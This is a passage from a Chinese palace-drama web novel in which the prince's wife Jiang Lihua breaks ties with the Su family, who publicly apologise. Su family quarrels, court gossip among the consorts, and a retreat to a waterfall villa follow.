皇帝冷眼看着殿中站着的几人,淡淡道:“今日苏清欢诋毁皇室一事,朕是看在大皇子妃的面上才轻轻揭过,今后朕希望你们苏氏一族谨言慎行。”
吕氏随着苏建明一起跪在地上谢恩应是,苏清欢也不得不磕头应是。
皇帝把目光落在姜黎婳脸上,片刻之后才问苏建明,“之前朕让你想的事情可想好了?你们苏家是打算向外昭告大皇子妃与苏清欢之间的**,还是选择苏清欢继续当苏氏女,与大皇子妃彻底断绝亲缘关系?”
“断绝关系?”胡氏心头一跳,她不解地看向姜黎婳,“婳儿?这是怎么回事?”
吕氏亦是心头一跳,她猛地看向姜黎婳,“你要和我们断绝关系?”
姜黎婳没有理会吕氏,只是安抚的拉着胡氏,轻声道:“外祖母您也知道我在苏家人眼中根本不是他们的家人,如今因为一点血缘关系,还闹出这么多事情,所以不如断了关系,两边都落得清净。”
胡氏听到她话中的无奈,气得狠狠地瞪了吕氏一眼,“都是因为你心长偏了,才让婳儿绝望至此!”
说完又劝姜黎婳,“婳儿啊,我知道你娘他们被猪油蒙了心,做的事情伤透了你的心,但你们毕竟是血亲啊,亲人之间的关系怎么能是说断就断了的呢?”
吕氏听着胡氏劝说姜黎婳的话,难得的没有开口反驳。
她先前是很生气,甚至想自己要是没有把姜黎婳认回来就好了,但此时听到姜黎婳要与自己断亲,心头却像是被挖下来一块肉一样疼...
皇帝瞧他们应该需要一点时间来处理,便也没有催促,拿起一本奏折看了起来。
姜黎婳的手**氏握着,能真切的感受到胡氏此时心头并不想自己与吕氏断绝关系,她拍了拍胡氏的手,低声道:“外祖母,选择权在苏大人和吕夫人手上。”
苏清欢听说姜黎婳要和苏家断绝关系的时候,心头是激动了一下的,毕竟姜黎婳如今再被楚御礼护着又怎样?楚御礼那个短命鬼早晚会死!
到时候姜黎婳还不是寡妇一个!
一个寡妇,还是一个貌美的寡妇,她不信楚明暄那个浪荡皇子会不动歪心思!届时一个无亲无故的寡妇,下场怕是比她上一世还惨!
想到这里苏清欢眼里闪过一丝畅快的笑意。
吕氏听了姜黎婳的话,心头闪过一丝犹豫,手却被苏清欢抓住了。
苏清欢抬眸双目通红的望向她,低声道:“娘,您不要清欢了吗?”
吕氏心头一震,看着被自己从小养大的女儿此时可怜巴巴的看着自己,她咬了咬嘴唇,看向姜黎婳,见姜黎婳面色清冷,她眸光微颤,嘶声问:“你为什么非要逼我?”
姜黎婳眉头皱了皱,还没来得及开口,楚御礼已经上前抓着她的手,把她护在身后了。
她抬眸不解的看向他,只见他皱了皱眉头,压着眼底的不悦,淡淡的对着吕氏道:“吕夫人,把婳儿逼到这一步的人,是你们。”
皇帝此时正好批示了一本奏折,他把蘸了朱砂的笔放在一边的笔架上,抬眸看着苏建明,“苏建明,你还没决定好?”
苏建明一震,他虽然不待见姜黎婳这个女儿,甚至在她出生的时候就让人把她给弄死,但现在她嫁的人是皇子,而他苏家已经没有女儿能嫁入皇室了...
“爹...”苏清欢伸手拽了拽苏建明的衣袖。
眼神恍惚的苏建明在这一刹那恢复清明,他看了苏清欢一眼,又看姜黎婳,最后把目光落在吕氏身上,他哀痛地说道:“夫人,陛下知道了两个孩子的身世真相,如今非要我们选一个。”
“娘!”苏清欢扑通朝着吕氏跪下去,声泪俱下,“娘,清欢只有你们了啊,若萧家知道清欢的**,定然会把女儿扫地出门的啊!那样女儿还如何活得下去啊!”
皇帝听着苏清欢这话眉头皱了皱,接着抬眸看向依旧挺直背脊站在自己儿子身后的儿媳妇,他瞬间觉得,还是自己儿媳妇这种情绪稳定的人看着顺眼一些。
吕氏被苏清欢这么一哭,瞬间心软了,她双目通红的把苏清欢拉着扶了起来,唉声说道,“你是娘的乖女儿,娘怎么会不要你呢。”
胡氏听她这么说,气得抬手就要去打她,却被姜黎婳伸手拉住了,她只能反握着姜黎婳的手,嘶声朝吕氏喊道:“我怎么生了你这么一个眼盲心瞎的女儿啊!你早晚会后悔的!”
“母亲!”吕氏朝着胡氏嘶声吼道:“是她逼我的!她明明也可以当我的女儿,但是她非要逼我做选择
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!”
胡氏抬手擦了一下眼角的泪水,正要说话,却被姜黎婳拉住了,她往前走了两步,站在吕氏面前,面前带着浅浅的笑意,语气很轻,“既然从头到尾我都不是你们的选择,当初为何要把我从我爹爹身边抢走呢?”
吕氏张了张嘴,最终道:“是你外祖母非要逼着我把你找回来的。”
“吕月琴!”胡氏嘶声骂道:“她是你的亲女儿,你不应该找回来吗?”
“母亲,你别说了!”吕氏没有去看胡氏,只道:“如今我们把她找回来,还让她嫁入了皇室,算是...”
“住口!”胡氏厉声斥责,“你给我住口!”
“呵呵。”一直旁观着苏氏一族把偏心表演到极致的楚御礼握拳掩唇笑出了声。
所有人的目光看向了他,包括坐在桌案后面的皇帝。
楚御礼抬手以一种保护的姿态扶着姜黎婳的肩膀,这才清冷的看向苏家人,冷声道:“孤要娶的女子从来不是苏家人,而是出生在元景元年三月二十日辰时三刻的姜黎婳,所以她能嫁给孤为妃,你们苏家人没有任何功劳,你们不要往自己脸上贴金了。”
先前被选择之后还暗自窃喜的苏清欢听到楚御礼这话,瞬间嫉妒的发狂,她瞪大双眼死死的盯着楚御放在姜黎婳肩膀上的手,沉声道:“若她不回来,大皇子迎娶的还是苏家元景元年三月二十日辰时三刻出生的大小姐。”
姜黎婳闻言眉梢微挑,她倒是敢说。
楚御礼没看苏清欢一眼,他轻嗤一声,淡漠道:“苏氏敢欺君把假小姐嫁到大皇子府,但若那人不是婳儿的话,即便嫁到大皇子府,孤也不会多看一眼。”
他说到这里垂眸看着姜黎婳,深邃的眼底藏着深情,“孤,此生只会心甘情愿娶一人,那就是姜黎婳。”
姜黎婳耳根发红:“......”
这大皇子是什么时候这么会演戏的啊?
身为夫妻他们两人相濡以沫是应该的,该有的肢体接触也是应该的。
可是...大皇子到底是什么时候对她情根深种的啊?
就因为自己长得好看?
不科学啊!
或者这只是他演出来的?
拿着奏折的皇帝眼角也抽了抽,他儿子什么时候发展成情种的啊?
第70章 断绝关系
苏清欢想的则和其他两人想的完全不一样,她的脑海中闪过无数上一世自己卑微的讨好楚御礼,他却视若无睹的场面。
她死死的捏紧拳头,那质问几乎要脱口而出,却被吕氏忽然的声音给挡了回去。
“既然如此,那大皇子妃即便没有父母,大皇子应该也会护她周全,更不会为难她。”吕氏看了姜黎婳一眼,接着对楚御礼福了福身子,淡淡道,“我的女儿只有苏清欢,当初是我没分清楚证据就把别人的女儿抢了过来,在此我给大皇子妃道歉。”
她看向姜黎婳,眼神漠然,“既然当初是我们认错人了,我们苏家会向外言明,今后我们与大皇子妃便再无关系。”
“吕月琴!你这是说的什么糊涂话!”胡氏气得捂住胸口,“你是要气死我才满意是吗?”
吕氏却像是下定了决心一眼,她看着姜黎婳,沉声道:“既然我们已经泾渭分明了,还请大皇子妃归还我们苏家给您所备的嫁妆。”
啪!
胡氏一巴掌落在吕氏的脸上,“吕月琴,你哪儿来的脸要回那些嫁妆!那些嫁妆是你准备的吗?”
吕氏这些日子因为那方砚台的事情还有拿不出银钱的事情在家中没少受婆母的嘲讽和丈夫的冷言冷语,此时听胡氏这么质问自己,她没有回答,而是冷冷的说道:“里面虽然大多都是母亲你为外孙女准备的,但也有我为她准备的。”
吕氏说到这里,摸了摸自己的脸颊,平静的抬眸对着胡氏道:“我的女儿才是母亲您的外孙女,既然我与大皇子妃没有丝毫关系,母亲您为外孙女准备的嫁妆也应该让大皇子妃还回来才是。”
“你住口!”胡氏红了脸,她又是一巴掌落在吕氏脸上,“那些嫁妆就是我为婳儿准备的!不管你认不认她,那些都是我送她的!你休想染指!”
“外祖母!”苏清欢哭着上前当着吕氏面前,楚楚可怜的说道:“您不要打母亲了,要打就打我吧!”
她说着回头看了吕氏一眼,泣声道:“我知道您不喜欢我,可是大皇子妃不愿意做母亲的女儿啊!”
“你住口!如果不是你挑拨,会有今日这些事情发生吗?”胡氏狠狠地剜了苏清欢一眼,接着冷眼看向吕氏,“你敢打我给婳儿那些嫁妆的主意就休怪我不认你这个女儿!”
“外祖母。”姜黎婳上前轻轻地拍着胡氏的后背给她顺气,低声道:“我只是与苏家断绝关系,您别气,若您愿意,我还是您的孙女。”
“都是外祖母对不起你啊。”胡氏抬手拭泪,“当年你娘生产时,我就应该寸步不离的守着你,不让那些有心之人有可乘之机啊!”
皇帝看着下面哭哭啼啼的场景,他眉宇之间闪过一丝不耐,“够了,既然苏家决定已经下了,那就写下断亲书,苏氏去朱雀大街当着百姓的面说清诋毁大皇子妃名声的缘由,给大皇子妃道歉认错,苏建明你也一同当着大家的面,把与大皇子妃认错亲的事情给澄清了吧。”
“断亲书不必谢,毕竟我从未进过苏氏族谱。”姜黎婳轻声道。
胡氏闻言心头一痛,恨不得去把自己的女儿打醒。
但是她知道,为时已晚,今后自己的女儿怕是真的要失去自己的亲骨肉了。
皇帝颔首看了福清一眼,作为皇帝心腹大总管的福清立刻明白了皇帝的意思。
他应了声是,恭敬的从皇帝身后走下来,对着姜黎婳道:“大皇子妃,奴才着锦衣卫的人送您和大皇子一同前往朱雀大街。”
这意思很明显了,就是锦衣卫会护送他们过去朱雀大街,守着苏清欢当着众人的面给她道歉,然后让苏家澄清她的身世之后,再回来。
姜黎婳颔首,扶着胡氏往殿外走。
楚御礼落后她一步跟在她身边,这落在外人眼中就是护着她的意思。
皇帝瞧着自己儿子那不值钱的模样,摇头叹气,接着他喊住苏建明,沉声道:“苏建明,澄清大皇子妃身世之时,朕不希望谁再往大皇子妃身上泼脏水,皇室宽容对你们苏家的也只有这一次了。”
苏建明闻言惊出一身冷汗,他连忙跪地应是,心头开始琢磨,要怎么澄清姜黎婳的身世,才能让皇帝满意了。
两刻钟后,朱雀大街。
随着苏清欢的道歉在人群中响起,很快众人就开始对他们指指点点。
苏清欢听着人群中那些人对自己的评价,她快要发疯了。
这些贱民什么都不懂!凭什么来骂自己!
她气得眼泪一直往外落。
吕氏瞧着苏清欢落眼泪,却提不起精神去安慰她,若是以往的话,她怕是早就跑过去抱着苏清欢一阵哄了。
但这时候她看到苏清欢的眼泪,只感觉心头一阵烦闷,甚至在想,这个场面明明是她自己不懂事造成
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的,她怎么还有脸哭呢?
苏清欢察觉到吕氏的面色不对,她抬手擦了擦眼泪,走到吕氏身边,低声问,“母亲,您是不是也怪我?”
“清欢,这件事情的确是你的错。”吕氏轻叹了一声,她还想再说一句,却瞧苏清欢死死的咬着嘴唇,一副委屈的模样,她又不忍心的呼了口气,低声道:“别哭了,母亲不是选择你了吗?”
苏清欢红着眼轻声道歉,“都怪我,只想着帮您和哥哥出口气,却没想到后果,是清欢的不对。”
吕氏听她是想给自己出气,心头那一股烦闷之意消散了一些,她拉着苏清欢的手拍了拍,“清欢乖,娘亲不怪你。”
这边苏建明站在朱雀大街尽头的一处高台上,向下面的百姓拱手行了一礼,“今日借着在座的各位面前,我得向大皇子和大皇子妃致歉,也要向大皇子妃的家人致歉,之前因思女心切,听说大皇子妃的生辰八字后,便登门用强权认亲,迫使大皇子妃不得不向我们苏家低头,成了我们苏家的一份子,如今小女因嫉妒大皇子妃闹出这么一场闹剧,我们苏家也是时候认清现实了。”
“这苏大人这是什么意思啊?”
“什么强权认亲啊?”
“难道大皇子妃不是他们苏家的女儿?当初认错了?”
“应该是这个意思吧。”
下面看热闹的百姓议论纷纷。
苏建明听着下面的讨论,咬了咬牙,接着道:“正如各位所言,大皇子妃并非我们苏家的女儿,但她的生辰八字却与大皇子乃天作之合!当初我们苏家也正是因为大皇子妃的生辰八字与小女的相同,才将大皇子妃认作小女的。”
他看向姜黎婳,“在此,臣向大皇子妃致歉。”
“这么说你们家没有找到那个小女儿?”
“可这大皇子妃一看就和您的夫人长得跟母女一样啊!这都能认错?”
吕氏听到这句话,双手死死的握在一起,目光也落在了姜黎婳那张与自己有五分相似的脸上。
姜黎婳感受到吕氏的目光,却没有与之对视,她只笑着对下面的各位道:“天下容貌大同小异,当初苏家认错**概也是因为我这张脸与吕夫人有几分相似,如今误会澄清,我庆幸皇室宽容,没有因为我只是江南商贾之女的原因将我休弃,将来我定将做好大皇子妃的本分,严苛律己,不给皇室蒙羞。”
第72章 吕氏质问苏建明
苏家认错女儿的事情就这样在京城传散开了。
随着认错女儿一事散开,苏家把小女儿养在乡下的谎言也被戳穿了,现在京城人人都在说苏家小女儿被奶娘弄丢了。
还有人说其实大皇子妃就是苏家的女儿,但因为受不了苏清欢的欺压和苏家人的区别对待,所以才选择断亲的。
高门大户的八卦本就是人人乐道的,如今这八卦的主角之一还是大皇子妃,那百姓就更感兴趣了。
毕竟百姓平日哪儿能听到什么皇室的八卦啊,如今听到了,可不得和邻里们好好的说道说道了吗。
吕氏回到府中,刚到前厅就被等在前厅的苏建明打了一巴掌。
她捂着脸,震惊的看向第一次朝自己动手的苏建明,眼中全是不可置信,“你打我?”
“贱妇!谁让你跟她讨要那点嫁妆的!”苏建明想到自己一路回来那些百姓对自己指指点点的模样,就气不打一处来,“现在我们苏家的脸面都被你丢光了!”
讨嫁妆就算了,只要回来那么一点!真是白白被人指指点点!
吕氏今日虽然选择了苏清欢,但是心头却一直憋着一股气,此时被苏建明打了一巴掌,还被如此责骂,心头的怒火几乎是喷泄而出,她指着苏建明就开骂,“你们苏家还有脸吗?这几十年都用媳妇的嫁妆过活的人,有脸吗?你花我银子去应酬,花我的嫁妆养家人的时候,你怎么没想过自己丢脸!现在你知道丢脸了!”
吕氏一口气把心头憋着的话说完,觉得心头的憋闷稍微缓和了一点,她才无力的走到红木椅上坐下。
刘嬷嬷从院外走进来给吕氏倒了茶,低声道:“夫人别气了,先喝点茶顺顺气。”
苏建明没想到吕氏竟然敢还口,气得指着吕氏半晌说不出话。
吕氏喝了一口刘嬷嬷递上来的茶水,冷冷的抬眸看向苏建明,“我要回那些嫁妆是为了什么?还不是因为苏家如今入不敷出!那些嫁妆要回来,换成银钱,还能值不少钱!”
她尽心尽力的为苏家付出,如今他们却反过来责怪她?
“你既然想要要回嫁妆,就应该先和岳母说好,如今倒好,那些嫁妆还不是落入了那个白眼狼的手中!”苏建明想到这里就来气,姜黎婳真的是克他!从她嫁给大皇子那天开始,他们苏家就没有过过一日安稳日子!
吕氏之前也骂姜黎婳是白眼狼,但是想到今天姜黎婳喊自己的那声娘,她的脑海中就忍不住浮现出姜黎婳回来之后的种种场面。
那些场面之前她明明记不起来,但是今天却尤其清晰,那些场面中全是她们苛待责骂她的...
吕氏伸手捂着脸,眼泪止不住的从眼眶里滑落,好半晌之后她才抬头看向苏建明,冷声道:“说到底还是怪你!若不是你识人不清,找了那么一个奶娘回来,她也不至于与我骨肉失散十七年!我们也不会面对如今这样的局面!”
看到以前从来不会对自己说一句重话的吕氏竟然在现在责怪上了自己,苏建明心虚的撇开目光,连连道:“愚妇!愚妇!”
苏建明的话音刚落下,苏承印和苏继业兄弟二人就相继从外面走了进来,苏承印冷着一张脸走到吕氏面前,沉声道:“我们真的认错人了吗?”
“认错什么?是她非要和我们断亲!”苏建明没好气的冷哼了一声。
苏继业眉头紧皱,语气疑惑,“为什么?她就不怕没了我们苏家,今后被皇家吃得连骨头都不剩吗?”
苏继业说到这里又想到自己之前说的那些不把姜黎婳当家人的话,当即又道:“她真是疯了!”
苏建明心头不爽,听苏继业这么说,当即喝道:“今后在家不准再提她的事情,我们苏家今后也只有清欢一个女儿!”
说起苏清欢,苏继业和苏承印难得一次没有说话,他们既然听到了两个苏家女的身份传闻,自然也听说了今日大皇子妃善妒的流言是谁传出来的。
吕氏疲惫的起身,看到还端着两个盒子的家仆,她皱眉道,“把这两幅金头面拿去当了,换些银子回来,你们兄弟一人拿一半去,后面的束脩和月银我就不给你们了。”
苏建明听说金头面卖了就把银子给两个儿子,当即急了,“他们那那么多银子在身上做什么?一人拿一百两银子就是,剩下的给我,我有急用。”
“你能有什么急用?”吕氏回头看了苏建明一眼,眼中带着一丝疑惑,语气也很生硬,“如今还不到考核的关键点,吏部和其他官员那里也无需打点,又是要去喝酒?喝酒你要那么多银子做什么?”说罢看了苏承印一眼,冷声道:“就按我说的做。”
苏建明怒目圆睁,一声厉喝响彻屋内,“吕氏,你
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怎敢如此!”
“苏建明!你别以为我不知道,你的字画全都典当了!那至少也是两万两银子,你的银子呢!”吕氏嗓音尖锐,字字如刀,“我未曾向你讨要那些字画的银两,你竟还妄图从我儿手中夺取吗?”
两万两银子?
苏承印闻言猛地看向苏建明,他脑海中不自觉的就闪过苏子恒那张脸,还有苏建明与苏子恒一同出现在那家茶楼的画面。
苏建明眼神闪烁,勉强挤出一丝笑容:“那些字画,你以为随随便便就能出手?因为价格太贵了,没人买,我就暂时借给同僚鉴赏了,过些日子他们会还回来的。”
话虽然这么说,但是他眼底一闪而过的心虚却被苏承印捕捉到了。
他深吸一口气,强压下心头的波澜,面色凝重地对吕氏说:“娘,我会照您的意思办,您若累了,先回房歇息。”
苏继业有些奇怪兄长的态度,但是他历来和兄长都比较亲近,自然站在兄长这边的,所以听兄长这么说了,也对吕氏道,“我和大哥不用娘操心,你回去休息吧。”
吕氏走了。
苏建明转身就对苏承印道:“你们兄弟两人身上带那么多银子做什么?”
苏承印不答反问,“爹,数日前我去一家茶楼,好像遇到你和一个年轻男子走在一起,是谁啊?”
苏建明脸上的表情一僵,接着不自在的咳嗽了一声,冷声道:“什么茶楼!你是不是看错了?我什么时候去过茶楼了!”
他越说越有底气,脸上的神情也镇定了不少,他看了苏承印一眼,冷声道:“眼看就要秋闱了,你还有心思逛茶楼!”
他说完拂袖大步离开。
苏建明离开了,苏继业才走上前站在苏承印身后,低声问,“哥,你看到父亲和谁一起出现在茶楼了?”
苏承印回眸看了一眼酷爱意气用事的弟弟,轻轻摇了摇头,“可能真的是我看错了,你不是从学院请假回来的吗?现在时辰还早,我先送你回学院,我再回国子监。”
苏继业点了点头,跟着苏承印一同离开前厅,走了几步,他又问,“姜黎婳真的和我们苏家断绝关系了?”
苏承印这次没有应声,脑海中闪过先前赵旭庭对他说的那些话。
他双手不自觉地微微握紧,眉头紧锁,心中不禁泛起一丝疑虑:他,会后悔吗?
第73章 苏承印拦路找骂
姜黎婳回到皇子府没有并感觉到与苏家断亲之后的轻松,反而觉得一身疲累。
回到梨月居她便让一直跟着自己的楚御礼去忙他自己的事情,“我想一个人静静。”
楚御礼瞧见她眼中的倦意,却不愿她孤身在这寂寥的屋中思绪万千,他静默了片刻,走到她身边坐下,叹气,“这世上还有比我可怜的人吗?”
姜黎婳疑惑地偏头看向他。
他怎么可怜了?和亲生父母断绝关系的人明明是她啊。
楚御礼唉叹了一声,在姜黎婳对面的软榻上坐下,双手手肘放在矮几上手掌撑着下巴,可怜兮兮的看着姜黎婳,“为夫今日为了娘子的事情四处奔波,现在事情好不容易结束了,以为能和娘子温存一下了,娘子却要赶我走?你说我可怜不可怜?”
看着在自己面前明目张胆的刷存在感的楚御礼,她无奈的呼了口气,“那你想如何?”
“时辰不早了,娘子陪我用午膳吧。”楚御礼抓住她的手腕拉着她一同站起来,“用了午膳之后,娘子陪我去城外别院小住几日,算是今日为夫为娘子办事的谢礼了,如何?”
姜黎婳由他拉着往外间走,“去城外住几日?我不是还要入宫学宫规礼仪吗?”
“我让人去宫中给母后送信,母后不会责问你的。”
......
一个时辰后,西城青龙大街。
楚御礼看着站在青石板路中央拦了马车去路的苏承印,他眉头聚拢,身周散发出冷意,他冷声道,“昭临,把人驱离!”
姜黎婳刚刚在楚御礼掀帘看出去的时候,就看到了拦路之人是谁。
现在听到楚御礼让昭临赶人,姜黎婳并没有多少情绪,她闭上眼睛靠在车板上养神。
楚御礼看了一眼把头靠在侧板上的姜黎婳,伸手把她的头扶着靠在自己肩膀上,姜黎婳感受着他的动作,没有拒绝,顺着他的力靠在他肩上。
马车外。
苏承印送苏继业去学院,回国子监的路上看到了挂着大皇子府旗帜的马车,霎时间心头一个声音在朝他呐喊,去找姜黎婳,问清楚,为什么非要与他们断绝关系!
他脑子还未反应过来,人已经从马车上下来,拦住了姜黎婳和楚御礼的马车。
昭临领命过来驱赶拦了马车去路的苏承印,苏承印的脚下像是绑了秤砣,他站在原地一动不动,目光直直的盯着马车,“我要见姜黎婳。”
“大胆!”昭临面目冰冷,“大皇子妃的名讳岂是你能直呼的!”
苏承印藏在袖中的手捏了捏,他深深地吸了口气,继续道:“我要见大皇子妃!”
“大皇子妃岂是你想见就能见的!”昭临冷脸喝道:“让开!”
昭临望着纠缠不休的苏承印,心中涌起一股不耐,这苏家人究竟在想些什么?苏承印先前还口口声声说苏清欢是他唯一的妹妹,如今大皇子妃与他们划清界限,他却急着来兴师问罪?
“姜黎婳!”苏承印见昭临软硬不吃,扬声喊道:“你就那么想和我们苏家撇清关系吗?”
“昭临!”楚御礼冷漠的声音骤然响起,“他不让就拖走,别耽误了孤出城!”
昭临一个闪身上前冷冷的对苏承印道:“苏少爷,你父母晌午才言明了与大皇子妃的关系,现在你就上来找麻烦,真当我不会对你们动手吗?”
“昭临。”姜黎婳掀开帘子从马车里走出来。
昭临见她过来,连忙退到一边,恭敬的给姜黎婳拘礼,“大皇子妃。”
“你先退下吧。”姜黎婳说罢,淡漠地看向苏承印,“你要找我说什么?一次性说清楚,以后别来烦我。”
“姜黎婳!你的心是铁做的吗?你就那么想和我们苏家撇清关系?没了我们苏家,你以为你那皇子夫君真的能护你吗?”苏承印压低声音对着姜黎婳道:“我知道今天流言一事是清欢一时糊涂,但是你怎么能因为这件事情就和我们断绝关系?”
“你真的以为我是因为这件事情吗?”姜黎婳抬眸看着面色不好的苏承印,“我把话说清楚,以后你就别来烦我。”
“说清楚什么?”苏承印没好气地哼了一声,“即便今日父母那样说了,你身上照样流着他们的血,血脉是割不断的!”
“苏承印,你还记得我刚回苏家,一进门你就对我说了什么吗?”姜黎婳懒得理苏承印刚刚的话,只静静地看着苏承印问。
苏承印一怔,脑海中闪过那日姜黎婳刚回苏家的场面,她背着一个包袱,走进苏家大门,进了厅堂,恭恭敬敬地对着几人见
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礼,而他当时冷哼了一声,说:“别假惺惺地装模作样了,你就算装得再好,也比不上清欢!”
苏承印不自然地垂下目光,不敢再看姜黎婳。
姜黎婳瞧着他闪躲的神色就知道他想起来了,她轻笑了一声,“那你应该也记得后来你们对我说的话了,其实这些日子我一直想问你们一句话,我什么时候说过或者做过让你们认为我要抢了苏清欢的一切的事情了?”
她神色骤然变冷,语气决然,“那些都是你们予我的欲加之罪!你们从未想过要了解我,就先入为主!你们认为我的存在就是要抢苏清欢的一切!但是你们从未想过,是苏清欢鸠占鹊巢抢走了我的一切。”
这些话说出来,她好像把原主和自己上一世憋在胸口的那一口气吐出来了,姜黎婳深深地呼了口气,淡淡道:“如今我不过是让一切回到原位,你们只有苏清欢一个女儿,一个妹妹,一个姐姐,这有什么不好的吗?”
她转身往马车走去,“我不过是江南的一介商户之女,被苏家错认给皇家冲喜,今身世已明,幸得大皇子不弃,我誓愿回归姜家,成为楚家妇,与苏家、吕夫人自此陌路,还请你们不要再上门自找无趣。”
姜黎婳走到马车前面回头看了一眼还愣在原地的苏承印,“别表现出那么一副落寞的模样,像是我抛弃了你们一样,其实是从一开始你们就没想过要我,今天也是吕夫人选择的苏清欢,抛下了我。”
她只是把选择权交给了他们,做决定的人,是他们,所以他们以后会不后悔都与她无关。
看着姜黎婳踏上马车,苏承印张了张嘴,却说不出一个字来。
他感觉自己心头憋闷的厉害,像是自己做了什么让他后悔的事情一样。
他往后退了两步,看着大皇子府的马车从自己面前慢慢驶过,他抬手想喊姜黎婳的名字,却只感觉喉咙酸涩,说不出一个字。
他为什么会生出这种情绪?
明明之前自己说过只有清欢一个妹妹,也说过不把姜黎婳当一回事,甚至还想以后大皇子若**,姜黎婳敢回苏家求助,他一定会好好羞辱她一番,让她长长教训。
可是为什么现在姜黎婳主动和他们断绝关系了,自己心头却这么堵闷呢?
第74章 理应重新为大皇子选妃
凤仪宫中。
张嬷嬷刚从皇后殿中退出来就遇上了相携而来的贤妃和淑妃二人,淑妃一眼便瞧见了张嬷嬷,嘴角含笑,主动搭话道:“张嬷嬷,自你去大皇子府当差后,这宫里可真是少见你的身影了。”
张嬷嬷停下脚步,恭敬地给两人见礼,“见过贤妃娘娘、淑妃娘娘。”
不待贤妃说话,淑妃便已笑道:“张嬷嬷,快起来吧。今儿大皇子府风波不断,你怎还有暇入宫?莫非是大皇子又受了惊,身子不爽了?”
贤妃从她的话语中听出了一丝轻快之意,便蹙眉看向她,“淑妃,你这...”
“不是开玩笑嘛。”淑妃察觉自己语气有失,忙扯了扯嘴角,轻声解释道:“以往咱们在皇后娘娘这儿打牌,三缺一时总爱叫上张嬷嬷,如今许久未见,猛地一见,倒是有些激动了。”
贤妃深深地看了她一眼没有在多说什么,只是对张嬷嬷道:“我们先进去见娘娘。”
张嬷嬷往后退了一步,又给两人福了福身子,目送两人进了凤仪宫这才转身朝宫外走去。
二人走进殿内,给皇后见了礼,淑妃这才问,“娘娘,张嬷嬷入宫是为了什么事啊?”
皇后抬手揉了揉眉心,意图遮掩自己眉眼之间的疲累之色,淑妃见状不待皇后说话,又道:“苏家真是大胆,竟然敢把江南商户之女充当自己家的女儿嫁到皇家来!陛下就应该问苏家欺君之罪的!”
“你少说两句吧。”贤妃瞥见皇后眉宇间的倦意,轻轻蹙眉,低声对皇后说道:“娘娘看起来甚是疲惫,是不是太累了?”
皇后摆了摆手,“没事。”
“怎么会没事!”淑妃步至一旁的红木椅坐下,叹道:“早上我还以为是我们听信片面之词误会了大皇子妃,晌午他们就闹出这么大的事情来,这大皇子妃的胆子委实太大了,竟然敢联合苏家欺君!之前还说什么养在乡下,现在又是江南商户之女!这官商之间的地位,可...”
“商户女怎么了?”贤妃凉凉的看了淑妃一眼。
淑妃连忙捂嘴,“姐姐,我可没瞧不起商户女,只是觉得皇后娘娘和大皇子被骗了,心头不忿罢了。”
皇后头疼的揉了揉眉心,“如今事已成定局,这大皇子妃虽然并不是真正的苏家女,但生辰八字却是真的,本宫不管她是谁,只要能让我儿好好活下去,她就是本宫的儿媳妇。”
“娘娘说的是。”淑妃抿了抿嘴,“但突然爆出这么大一件事情,大皇子妃心头肯定不好受吧?”
“是不好受,御儿很担心。”皇后说到这里叹了口气,“所以让张嬷嬷进宫告诉本宫接下来几日大皇子妃都不入宫了。”
“在府上好好休息几日也好。”贤妃叹了口气走到皇后身后抬手给皇后按太阳穴,“虽然陛下下了命令不准再宫内谈论此事,但奴才们的嘴哪儿是封得住的,等过些日子风波过去了,大皇子妃再入宫学礼仪也行。”
皇后闭眼压下自己眼中的诧异之色,轻声道:“你说的是。”
淑妃坐在下面瞧着皇后的神色,眼睛转了转,轻声道:“但大皇子妃的身份占了大皇子正妃的身份,的确会让人觉得大皇子吃亏了。”
皇后睁开眼睛看向淑妃。
淑妃轻声道:“大皇子乃娘娘嫡嗣,若非体弱多病,以其才智,储君之位未尝不可期,娘娘岂愿太子正妃出身商贾之家?”
皇后的手指微微一收,接着她抬眸看了淑妃一眼,嗔道:“你就会宽慰本宫。”
她拍了拍贤妃给自己按头的手,示意贤妃回去坐好,这才继续道:“如今御儿的身子瞧着是比前些日子好些了,但始终没过二十岁,他没过了二十岁这个坎,本宫就始终放不下心,你呀就更别提什么储君之类的事情了。”
淑妃听皇后这么说,终于不再说什么,只抿嘴道:“那娘娘可得好好地在这两年中仔细给大皇子物色一下,等大皇子过了二十岁,也好名正言顺的讨一个不是冲喜的正妃回来。”
贤妃脸色一沉,“淑妃,你何时变成这样了?”
淑妃不服气,“我这不是为了大皇子着想嘛!难道贤妃姐姐想要大皇子就娶这么一个商户女?”
皇后抿嘴,没说话。
普通商户女?
那明明是江南首富的女儿!
大儒上官清泉的关门弟子!
当今太傅的小师妹!
“你们两个过来就是和本宫说这个的?”皇后目
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光在两人脸上转了一圈,“若是安慰本宫的话,不用说了,本宫这十几年经历的事情这么多,这点小事还不至于把本宫打倒。”
是夜。
姜黎婳站在自己所住大院的角楼楼台望着天上闪烁的繁星,听着哗哗的流水声。
她身后楚御礼穿着一身月白色的竹叶印纹长衫负手而立,看她仰头放松的模样,他嘴角牵起一抹浅淡的弧度,“明日带你到瀑布那边逛逛。”
姜黎婳今日过来的时候还以为楚御礼要把她拐去卖了,这个地方应该是京城最偏僻的地方了,在林中拐了好几个弯中途还坐小船穿过了狭窄的流水才到了这个地方,没想到这深山之中还真是别有洞天。
“这里是什么时候建造的?”姜黎婳摇头感叹,“不愧是皇家,竟然能在这种地方修建这么大的宅院,这木质角楼应该是观景极佳的地方吧?”
楚御礼知道她嘴上说不在乎苏家,但真正与血亲断绝关系,心头肯定是难过,他原本还在想怎么转移她的注意力,没想到她自己倒是先问了问题。
他眉梢轻扬,随手自袖中取出一柄折扇,轻轻展开,悠然一挥,“为夫身为一个随心所欲的皇子,享乐之事我自是高手,若他人以画为乐,我则愿化身为画中人。”
姜黎婳听他提腔拿调的话,笑着点头,“那我要早些休息,明日好好逛一下这画中景。”
翌日。
姜黎婳站在瀑布之下。
黄金的光芒穿透水光照耀在山林之间,满山苍翠仿佛被瀑布的呼喊声唤醒,都在闪闪发光。
她双臂舒展仰头闻着花草树木的清香,片刻后回眸,林间角楼上,一人含笑凝望着她。
姜黎婳朝那人抄手,笑着扬声喊道:“你没骗我,这里真的太美了。”
楚御礼立于角楼的观景台上,凝视瀑布之下光芒闪烁的她,水光潋滟中,她的笑容与四年前的身影悄然重合。
他眼底的笑意逐渐从面上散开,他只听到瀑布哗哗的声音,还有她朝自己挥手的动作,他扬声问,“你开心了吗?”
她没听到他在说什么,扬眉一笑,转身继续朝瀑布后面的山上走去。
楚御礼见状眉梢微动,转身下了角楼。
第75章 殿下你这么重口味的吗
